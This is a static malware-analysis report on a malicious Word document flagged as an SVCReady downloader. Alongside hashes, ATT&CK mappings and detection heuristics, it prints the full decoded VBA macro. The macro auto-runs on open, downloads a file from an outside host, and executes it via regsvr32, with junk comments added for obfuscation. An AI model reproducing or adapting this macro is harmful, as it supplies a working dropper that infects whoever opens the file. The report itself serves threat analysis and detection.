Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b8f073052b8bf06d…

MALICIOUS

Office (OOXML)

147.4 KB Created: 2020-07-08 23:42:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 3f4c57007a3d58bb89067c4a0864b2bd SHA-1: 0b17e8eb16e77703d19a06cbcf835881de0ae48c SHA-256: b8f073052b8bf06d12ff4cf8182bf75c91248ef19f906ca6213e8cb4cd46ca00
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing VBA macros. The `autoopen` macro executes `URLDownloadToFile` to download a file named `U.tmp` from `the embedded link Subsequently, the `P` subroutine executes this downloaded file using `regs` + `vr32 U.tmp`, indicating a downloader or dropper functionality.

Heuristics 5

  • ClamAV: Doc.Downloader.SVCReady-81fe832081fe7c7c-9951593-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-81fe832081fe7c7c-9951593-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    ' Miles heidi canonical submissions
Call URLDownloadToFile(0, "http://9ygw2.com/iz5/yaca.php?l=kpt1.cab", Vw, 0, 0)
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Public Const Vw As String = "U.tmp"
Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://9ygw2.com/iz5/yaca.php?l=kpt1.cab Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2254 bytes
SHA-256: ab228a32da1dfaaba9231b6fe89bf99923abcb9424ef5dd8ebf4ce371dee7d58
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "E"
Public Const Vw As String = "U.tmp"
Sub autoopen()

' Still sever wrestle amicable
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' Criterion urn tongue
' Godson animating location geological liquid open
' Virtue grave journals
' Miles heidi canonical submissions
Call URLDownloadToFile(0, "http://9ygw2.com/iz5/yaca.php?l=kpt1.cab", Vw, 0, 0)

' Pichunter
' Tions interactive psi alberta adjournment
' Got heart-rending
P
End Sub

Attribute VB_Name = "E1"
Sub P()

' Carriers creating
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' Sink selected vs. spat johnny
' Injured consent tube proverbial buffalo
' Paxil spurious generates
' Hartford
' Afghan
' Amount milky highest

' Exclusive courtier device
' Thought

' Stigma azerbaijan tip starch ensures
' Augur loveless igneous
' Aboriginal
' Puzzles wicker amazingly won abortion
' Pill merchandise jesse

' Rim encore guru ravenna regrettable jewel

' Correlation abating
' Jimmy mode twitch increasingly intensity
' Threesome
' Overweening compulsion gotta diversity elixir
' Topography democratic thrown

' Nuts gratis
' Justin capable resists cosy

' Wheedle rape imagine
' Relation serbia cooperation cooler
' Dearth dat lombardy
Dim X As New WshShell

' Arbitrator stomach functions
' Past nestle predominant smoking harlot fertilisation
' Indoor incandescent segment
X.run "regs" + "vr32 " & Vw
End Sub

Attribute VB_Name = "g"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal Fa As LongPtr, ByVal xJ As String, ByVal Y As String, ByVal Ct As LongPtr, ByVal DQ As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal Fa As Long, ByVal xJ As String, ByVal Y As String, ByVal Ct As Long, ByVal DQ As Long) As Long
#End If
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19456 bytes
SHA-256: 8c1a229f98118ff88b63a6bbf2de437c07967bf305f49336dd7161aa3f6f53e2

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